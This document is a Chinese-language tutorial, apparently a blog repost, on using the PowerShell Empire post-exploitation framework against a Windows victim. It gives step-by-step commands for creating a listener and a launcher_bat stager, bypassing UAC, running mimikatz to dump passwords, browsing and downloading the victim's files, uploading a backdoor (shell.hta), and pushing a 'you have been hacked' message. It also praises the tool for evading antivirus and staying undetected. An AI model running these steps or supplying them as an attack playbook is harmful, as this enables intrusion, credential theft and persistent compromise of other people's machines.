0x01 简介
Empire 是一个后渗透攻击框架. 它是一个纯粹的 PowerShell 代理, 具有加密安全通信和灵活架构的附加功能. Empire 具有在不需要 PowerShell.exe 的情况下执行 PowerShell 代理的方法. 它可以迅速采用可后期利用的模块, 涵盖范围广泛, 从键盘记录器到 mimikatz 等. 这个框架是 PowerShell Empire 和 Python Empire 项目的组合; 这使得它用户友好和方便. PowerShell Empire 于 2015 年问世, Python Empire 于 2016 年问世. 它类似于 Metasploit 和 Meterpreter. 但由于它是命令和控制工具, 它允许您更有效地控制 PC.
PowerShell 提供了丰富的攻击性优势, 进一步包括. NET 的全部访问, applock 白名单以及对 Win32 的直接访问. 它还在内存中构建恶意二进制文件. 它提供 C2 功能, 允许您在第一阶段之后植入第二阶段. 它也可以用于横向移动. 它与其他框架相比发展迅速, 且非常方便. 此外, 由于它不需要 PowerShell.exe, 它可以让您绕过反病毒. 因此, 最好使用 PowerShell Empire.
0x02 功能
listenter: 监听器是一个从我们正在攻击的机器上侦听连接的进程. 这有助于 Empire 将战利品发回攻击者的计算机.
Stager: stager 是一段代码, 允许我们的恶意代码通过受感染主机上的代理运行.
proxy: 代理是一种程序, 用于维护计算机与受感染主机之间的连接.
module: 执行我们的恶意命令, 这些命令可以收集凭据并升级我们的权限.
0x03 安装
使用以下命令下载它:
Git clone https://github.com/EmpireProject/Empire.git
下载完成并完成后, 请按照下面给出的步骤进行安装:
- cd Empire/
- cd setup/
- ./install.sh
安装完成后, 移回 Empire 目录并使用./empire 运行 empire
现在使用 help 命令, 因为它打开了最初所需的所有基本选项.
- (Empire)> help
- Commands
- ========
agents Jump to the Agents menu. # 跳转到代理菜单
- creds Add/display credentials to/from the database. # 从数据库中添加 / 显示凭据
- exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent. # 与特定的代理交互
list Lists active agents or listeners. # 列出活动代理或侦听器
listeners Interact with active listeners. # 与活跃的会话互动
load Loads Empire modules from a non-standard folder. # 从非标准文件夹加载 Empire 模块
plugin Load a plugin file to extend Empire. # 加载插件文件以扩展 Empire
plugins List all available and active plugins. # 列出所有可用的和活动的插件
- preobfuscate Preobfuscate PowerShell module_source files # 预混淆 PowerShell 模块源文件
- reload Reload one (or all) Empire modules. # 重新加载一个或多个 Empire 模块
- report Produce report CSV and log files: sessions.CSV, credentials.CSV, master.log
- # 生成 CSV 报告和日志文件
- reset Reset a global option (e.g. IP whitelists). # 重置一个全局的选项
resource Read and execute a list of Empire commands from a file. # 从文件中读取并执行 Empire 命令列表
searchmodule Search Empire module names/descriptions. # 搜索帝国模块名称 / 描述
- set Set a global option (e.g. IP whitelists). # 设置全局选项
- show Show a global option (e.g. IP whitelists). # 显示全局选项
usemodule Use an Empire module. # 使用一个 Empire 模块
usestager Use an Empire stager. # 使用一个 Empire 代码段
根据工作流程, 首先, 我们必须在本地机器上创建一个监听器.
listeners 查看活动的侦听器
进入监听器界面输入以下命令查看所有可用的侦听器
- (Empire: listeners)> uselistener <tab> <tab>
- dbx http_com http_hop meterpreter redirector
- http http_foreign http_mapi onedrive
最流行和最常用的侦听器是 http
uselistener http
此命令在本地端口 80 上创建一个侦听器. 如果端口 80 已经被像 Apache 这样的服务占用, 请确保停止该服务, 因为此侦听器是 http 侦听器只能在端口 80 上工作.
查看侦听器下可以使用的命令
- (Empire: listeners)> <tab><tab>
- agents delete enable info list resource
- back disable exit kill listeners uselistener
- creds edit help launcher main usestager
如果要删除一个活跃的 listener, 使用 kill 命令
- (Empire: listeners)> kill http
- [!] Killing listener 'http'
现在要查看所有你应该在这个监听器类型中提供的选项:
info
正如上图所示, 你可以使用各种设置来修改或自定义侦听器. 我们可以尝试更改我们的监听器的名称, 这样有助于记住所有被激活的监听器;
set Name test
上面的命令会将侦听器的名称从 http 更改为 test.
通常, 此侦听器会自动占用本地主机 IP, 但为了以防万一, 你可以使用以下命令设置 IP:
- set Host 192.168.88.152
- execute
上面的命令将执行监听器. 然后返回并使用 PowerShell 侦听器
现在输入'back'以从监听器接口返回, 以便我们可以执行我们的模块. 使用以下命令查看 Empire 提供的所有模块:
- (Empire: listeners/http)> back
- (Empire: listeners)> usestager <tab> <tab>
正如图中所示, Windows 和 iOS 都有很多模块, 还有一些可以在任何平台上使用的多模块. 以下实验, 我们将使用 launcher_bat 创建恶意软件并利用受害者的 PC.
usestager Windows/launcher_bat
然后再次键入 "info" 以查看漏洞利用所需的所有设置. 经过检查, 发现我们只需要提供 listener.
- set Listener test
- execute
在设置侦听器测试并创建 / tmp/launcher.bat 之后, 上述两个命令将执行我们的漏洞利用. 使用 python 服务器在受害者的 PC 中执行此文件.
python -m SimpleHTTPServer 8080
当文件将执行时, 您将有一个会话. 要检查您的会话类型:
agents
使用上面的命令, 您可以看到已激活会话. 您可以更改会话的名称, 因为默认情况下给出的名称非常复杂且难以记住. 为此, 请键入:
rename P4BNYW6D pc01
使用以下命令访问会话:
interact pc01
获得对会话的访问权限后, 请尝试使用以下命令获取管理会话:
bypassuac http
执行 bypassuac 命令后, 将打开另一个会话. 键入以下内容重命名该会话:
rename HE3K45LN admin01
interact with admin01 now.
- interact admin01
- <tab> <tab > 帮助我们查看 shell 中的所有选项. 有几种选择对后期开发很有帮助. 如信息, 工作, 列表等, 如图所示.
信息: 所有基本细节, 如 IP, 随机数, 抖动, 完整性等.
现在, 如果使用'help'命令, 您将能够看到所有可执行命令.
让我们尝试运行 mimikatz 来获取用户的密码. 由于 mimikatz 不能在普通的 guest 用户 shell 上运行, 并且只能在 admin shell 上运行; 这也证明我们必须实现管理员访问权限, 以便我们可以使用 mimikatz.
Hmmmm! 用户的密码为 "123456".
creds
上面的命令也会在明文及其哈希中转储任何用户的凭据或密码.
另一个重要的命令是 shell 命令.
要使用受害者的 shell 运行正确的 Microsoft Windows 命令, 我们使用此功能.
例如: 一个这样的窗口的 cmd only 命令是 netstat
shell netstat -ano
正如预期的那样, 上面的命令向我们展示了机器上当前工作的所有端口!
现在, 因为 Windows 中的默认 shell 目录是 "C:/ windows / system32"; 让我们尝试移动到另一个目录并尝试从那里下载一些文件, 我们也可以在该位置上传一些内容, 例如, 我们可以上传后门! 现在, 使用以下命令:
- shell cd C:\Users\lihui03\Desktop
- shell dir
- download msf.PDF
上面的命令将从窗口的桌面下载一个名为 msf.PDF 的图像到 "帝国的下载目录"
在这里我们可以上传任何后门, 在上面的命令的帮助下, 我们从 Kali 的桌面上传一个后门到受害者的桌面, 我们甚至可以调用这个文件, 因为我们有 shell 访问权限!
upload /root/shell.hta
这是下载文件的位置:
查看上传的文件
上面的命令证明我们确实已经上传了 shell.hta
之前展示的是帝国的基本演示及其使用的不同术语以及如何使用它们. 还有另一个术语, 即 usemodule. 最后, 让我们看看如何使用它.
该命令将显示所有可用模块并可供使用, 如下图所示:
以下是如何使用 usemodule 的小型演示. 类型:
- usemodule trollsploit/message
- set MsgText you have been hacked
- execute
- y
使用上述模块将在受害者的 PC 上显示一条消息, 如下图所示:
目标机器上是这样的!!!
结论
恶意软件以. exe / dll / hta 等形式允许攻击者构建任何理想的攻击, 因为此框架可以访问 Win32. 由于其广泛, 真实和有效的后漏洞收集, 它是一个伟大的工具. 最终, 目标是在攻击中未被发现并成功, 这个工具允许我们这样做.
来源: https://www.cnblogs.com/micr067/p/11515417.html